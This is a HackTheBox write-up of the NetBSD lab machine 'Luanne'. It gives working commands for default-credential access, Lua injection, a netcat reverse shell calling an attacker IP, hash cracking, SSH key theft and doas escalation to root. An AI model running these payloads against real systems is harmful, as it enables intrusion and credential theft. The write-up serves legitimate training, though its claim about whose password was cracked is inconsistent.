HTB: Luanne Writeup
Luanne - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Luanne |
| OS | NetBSD |
| Difficulty | Easy |
| Points | 20 |
| Release Date | 28 Nov 2020 |
| IP Address | 10.129.43.86 |
| Author | polarbearer |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Luanne is an easy-difficulty NetBSD machine that showcases uncommon Unix utilities and services. The attack vector begins with default credentials on a Medusa Supervisor Process Manager running on port 9001, which reveals configuration details for two bozohttpd web servers. A Lua code injection vulnerability in a custom weather API allows for remote code execution as the _httpd user. Lateral movement is achieved by exploiting a misconfigured development server running with the -u flag, exposing a user’s home directory containing an SSH private key. Privilege escalation leverages NetBSD’s netpgp tool to decrypt a backup archive containing credentials, which are then used with the doas command (OpenBSD’s sudo alternative) to gain root access.
TL;DR: Default Medusa creds → Lua injection RCE → bozohttpd -u flag exposes SSH key → netpgp decrypt backup → doas with cracked password → root
Reconnaissance
Port Scanning
# Full TCP port scannmap -sC -sV -T4 -p- 10.129.43.86Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)80/tcp open http nginx 1.19.0| http-auth:| HTTP/1.1 401 Unauthorized\r|_ Basic realm=.| http-robots.txt: 1 disallowed entry|_/weather9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)| http-auth:| HTTP/1.1 401 Unauthorized\r|_ Basic realm=defaultService Enumeration
Port 80 - nginx 1.19.0
The nginx server returns a 401 Unauthorized response requiring Basic authentication. However, the robots.txt file discloses a /weather endpoint:
curl http://10.129.43.86/robots.txt# User-agent: *Attempting to access /weather or common paths without credentials results in 401 responses.
Port 9001 - Medusa Supervisor
The Medusa service is identified as a Supervisor process manager. Supervisor is a client/server system for controlling processes on Unix-like operating systems. The default configuration file (supervisord.conf) typically includes default credentials user:123 for the HTTP server interface.
Testing these credentials:
curl --user user:123 http://10.129.43.86:9001/# Successfully authenticatedThe Supervisor web interface reveals two monitored httpd processes:
- Production server (port 3000):
/usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www - Development server (port 3001):
/usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -U r.michaels -b /home/r.michaels/devel/www
The -L weather /usr/local/webapi/weather.lua option indicates that the production server uses a Lua script to handle requests to the /weather endpoint. The development server runs under user r.michaels.
Vulnerability Assessment
- Default Credentials: Supervisor process manager accessible with
user:123 - Information Disclosure: Process configuration reveals internal server details
- Potential Code Injection: Lua script handling user input on
/weatherendpoint - Misconfigured Development Server: Running with
-uflag enables user directory access
Initial Foothold
Lua Code Injection Reconnaissance
The bozohttpd server is a lightweight HTTP server for NetBSD. The -L flag registers Lua scripts to handle specific URL prefixes. The production server maps /weather to /usr/local/webapi/weather.lua.
Directory enumeration reveals a /weather/forecast endpoint:
# Directory fuzzingffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -u http://10.129.43.86/weather/FUZZ
# Testing the APIcurl http://10.129.43.86/weather/forecast# {"code": 500,"error": "unknown city: nil"}The API expects a city parameter:
curl "http://10.129.43.86/weather/forecast?city=list"# {"cities": ["London","Manchester","Birmingham","Newcastle"]}
curl "http://10.129.43.86/weather/forecast?city=London"# {"forecast":"sunny","temperature":"82"}Exploiting Lua Code Injection
Testing for code injection by providing invalid input:
curl "http://10.129.43.86/weather/forecast?city=test"# {"code": 500,"error": "unknown city: test"}The error message reflects user input, suggesting potential injection. Lua’s os.execute() function can run system commands. Testing injection:
# Inject command execution - the ')+ closes the string context,# os.execute() runs our command, and -- comments out the restcurl "http://10.129.43.86/weather/forecast?city=')+os.execute('id')+--"Why this works: The Lua script likely constructs a query like city = 'USER_INPUT'. By injecting ')+os.execute('id')+--, we:
- Close the string with
') - Execute arbitrary commands with
os.execute('id') - Comment out remaining code with
--
The command output appears in the JSON error response, confirming RCE as the _httpd user (uid 24).
Establishing Reverse Shell
# Start listener on attacking machinenc -lvnp 4444
# Inject reverse shell command# The payload creates a named pipe for bidirectional communicationcurl "http://10.129.43.86/weather/forecast?city=')+os.execute('rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.15+4444+>/tmp/f')+--"Shell received as _httpd (uid 24, gid 24).
Lateral Movement to r.michaels
Credential Discovery
Enumerating the web root directory:
ls -la /var/www# drwxr-xr-x 2 root wheel 512 Nov 24 2020 .# drwxr-xr-x 24 root wheel 512 Nov 24 2020 ..# -rw-r--r-- 1 root wheel 47 Sep 16 2020 .htpasswd# -rw-r--r-- 1 root wheel 386 Sep 17 2020 index.html
cat /var/www/.htpasswd# webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0The hash is MD5-based (indicated by $1$). Cracking with John the Ripper:
# Save hash to fileecho 'webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0' > hash.txt
# Crack with rockyou wordlistjohn --wordlist=/usr/share/wordlists/rockyou.txt hash.txt# webapi_user:iamthebestExploiting Development Server Misconfiguration
The development server on port 3001 runs with the -u flag, which enables user directory access via the ~username URL syntax. This makes /home/r.michaels/public_html (or equivalent directories) accessible at http://localhost:3001/~r.michaels/.
Additionally, the -X flag enables directory indexing when no index.html exists.
Testing from the compromised _httpd shell:
# Access development server with discovered credentialscurl --user webapi_user:iamthebest http://localhost:3001/~r.michaels/# <html><head><title>Index of ~r.michaels/</title></head># <body><h1>Index of ~r.michaels/</h1># <pre># <a href="id_rsa">id_rsa</a># </pre># </body></html>Why this works: The bozohttpd -u option is designed for hosting user content, mapping ~username URLs to user home directories. Combined with -X for directory listing, it inadvertently exposes the user’s SSH private key.
SSH Access
# Download the private keycurl --user webapi_user:iamthebest http://localhost:3001/~r.michaels/id_rsa# -----BEGIN OPENSSH PRIVATE KEY-----# [key content]# -----END OPENSSH PRIVATE KEY-----
# Save locally and set permissionschmod 600 id_rsa
# SSH as r.michaelsssh -i id_rsa r.michaels@10.129.43.86User flag captured: /home/r.michaels/user.txt → <redacted>
Privilege Escalation
Discovering Encrypted Backup
Enumerating the home directory:
ls -la /home/r.michaels/# drwxr-xr-x 7 r.michaels users 512 Sep 16 2020 .# drwxr-xr-x 3 root wheel 512 Sep 14 2020 ..# dr-x------ 2 r.michaels users 512 Sep 16 2020 .gnupg# -rw-r--r-- 1 r.michaels users 1772 Feb 14 2020 .profile# drwxr-x--- 2 r.michaels users 512 Sep 16 2020 backups# drwxr-xr-x 4 r.michaels users 512 Sep 16 2020 devel
ls -la /home/r.michaels/backups/# -rw-r----- 1 r.michaels users 1970 Sep 16 2020 devel_backup-2020-09-16.tar.gz.enc
ls -la /home/r.michaels/.gnupg/# -rw------- 1 r.michaels users 3925 Sep 14 2020 pubring.gpg# -rw------- 1 r.michaels users 3896 Sep 14 2020 secring.gpgThe .enc extension and presence of GPG keyrings suggest the backup is encrypted with GnuPG.
NetPGP Decryption
NetBSD uses netpgp as its GPG implementation instead of the standard gpg command. The tool automatically uses keys from ~/.gnupg/.
# Copy to writable directory (home is read-only for writing)cp /home/r.michaels/backups/devel_backup-2020-09-16.tar.gz.enc /tmp/
# Decrypt using netpgpcd /tmpnetpgp --decrypt --output=devel_backup-2020-09-16.tar.gz devel_backup-2020-09-16.tar.gz.enc# signature 2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14# Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a# uid RSA 2048-bit key <r.michaels@localhost>
# Extract the tar archivetar xzf devel_backup-2020-09-16.tar.gzWhy this works: NetPGP automatically locates and uses the private key from /home/r.michaels/.gnupg/secring.gpg to decrypt files encrypted with the corresponding public key. No passphrase is required because the key itself is not passphrase-protected.
Cracking Backup Credentials
cat /tmp/devel-2020-09-16/.htpasswd# webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.This is a different hash than the one found earlier. Cracking:
# Local machineecho 'webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.' > hash2.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt hash2.txt# littlebearAbusing doas for Root Access
Checking for privilege escalation vectors:
cat /usr/pkg/etc/doas.conf# permit r.michaels as rootThe doas command is OpenBSD’s alternative to sudo, and NetBSD also supports it. The configuration permit r.michaels as root allows user r.michaels to execute commands as root after providing their password.
Why this works: Unlike sudo, which asks for the user’s password to verify identity before privilege elevation, doas with this configuration requires the user password but then allows execution as root. The password we cracked (littlebear) from the backup is r.michaels’ system password.
# Attempt to get root shell# doas requires a proper PTY for password inputpython3 -c 'import pty; pty.spawn("/bin/sh")'
# Execute command as rootdoas sh# Password: littlebear# #Alternatively, reading the flag directly:
doas /bin/sh -c "cat /root/root.txt"# Password: littlebear# <redacted>Root flag captured: /root/root.txt → <redacted>
Attack Chain Summary
Default Supervisor Creds (user:123) → Lua Code Injection RCE (_httpd) →Cracked .htpasswd (webapi_user:iamthebest) → bozohttpd -u flag exposes ~r.michaels/id_rsa →SSH as r.michaels (user.txt) → netpgp decrypt backup → Cracked backup .htpasswd (r.michaels:littlebear) →doas privilege escalation → Root (root.txt)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | HTTP requests and API testing |
ffuf | Directory and endpoint fuzzing |
john | Password hash cracking (MD5 hashes) |
nc | Reverse shell listener |
ssh | Remote shell access with private key |
netpgp | NetBSD GPG implementation for decryption |
doas | OpenBSD/NetBSD privilege escalation utility |
Key Learnings
Techniques Practiced
- Default Credential Exploitation: Supervisor process manager default credentials (
user:123) - Lua Code Injection: Exploiting improperly sanitized user input in Lua scripts with
os.execute() - NetBSD-Specific Tools: Using
netpgpinstead ofgpgfor cryptographic operations - bozohttpd Configuration Analysis: Understanding
-u(user directory access) and-X(directory indexing) flags - doas Usage: NetBSD/OpenBSD alternative to
sudofor privilege escalation - Password Hash Cracking: MD5-based Unix password hashes (identified by
$1$prefix)
Lessons Learned
-
Always check for default credentials on management interfaces. Supervisor, Jenkins, Tomcat, and similar services often ship with well-documented defaults that users fail to change in production.
-
User input in scripting languages must be sanitized. The Lua injection vulnerability demonstrates how string concatenation with user input can lead to code execution. Always use parameterized queries or input validation.
-
Development servers should not be exposed, even internally. The
-uflag on bozohttpd is convenient for development but exposes user home directories. Development and production configurations should differ significantly. -
OS-specific tools matter. On NetBSD, standard tools like
gpgare replaced withnetpgp. Always verify which tools are available on non-Linux Unix systems (FreeBSD, OpenBSD, NetBSD, Solaris). -
Backup security is critical. While the backup was encrypted, the decryption key was stored in the same user’s home directory. Encryption only provides value if keys are properly segregated or require additional authentication.
-
Password reuse enables lateral movement. The
webapi_userpassword found in the backup turned out to ber.michaels’ system password, enabling privilege escalation viadoas.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup - Luanne (Document No D21.100.111) by bertolis
- bozohttpd Manual: https://man.netbsd.org/bozohttpd.8
- NetPGP Documentation: https://man.netbsd.org/netpgp.1
- Supervisor Documentation: http://supervisord.org/